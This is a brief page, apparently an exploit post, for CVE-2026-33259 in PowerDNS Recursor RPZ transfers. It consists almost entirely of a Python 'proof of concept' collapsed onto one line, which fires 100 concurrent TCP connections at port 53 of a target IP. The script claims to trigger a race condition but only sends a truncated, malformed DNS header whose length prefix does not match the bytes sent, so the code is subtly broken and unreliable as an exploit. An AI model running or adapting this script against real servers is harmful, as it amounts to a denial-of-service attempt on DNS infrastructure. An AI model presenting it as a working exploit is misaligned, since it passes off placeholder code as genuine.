CVE-2026-33259 PowerDNS Recursor RPZ传输漏洞

import threading import socket # Proof of Concept for CVE-2026-33259 # This script attempts to trigger the race condition by sending concurrent requests. # Note: Actual exploitation requires a vulnerable PowerDNS Recursor and RPZ configuration. def send_concurrent_transfer(target_ip, target_port): try: # Create a socket connection to the target recursor with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(2) s.connect((target_ip, target_port)) # Simulate a DNS/TCP request header (simplified) # In a real exploit, this would be a crafted AXFR/IXFR query for the RPZ zone dns_header = b"\x00\x1e\x00\x00\x01\x00\x00\x00\x00\x00\x00" # Sending payload to trigger transfer logic s.sendall(dns_header) print(f"[+] Packet sent to {target_ip}") except Exception as e: print(f"[-] Error: {e}") def main(): target = "192.168.1.100" # Replace with actual target IP port = 53 threads = [] print("[*] Starting concurrent transfer simulation...") # Spawn multiple threads to simulate concurrent transfers for i in range(100): t = threading.Thread(target=send_concurrent_transfer, args=(target, port)) threads.append(t) t.start() for t in threads: t.join() print("[*] Simulation completed.") if __name__ == "__main__": main()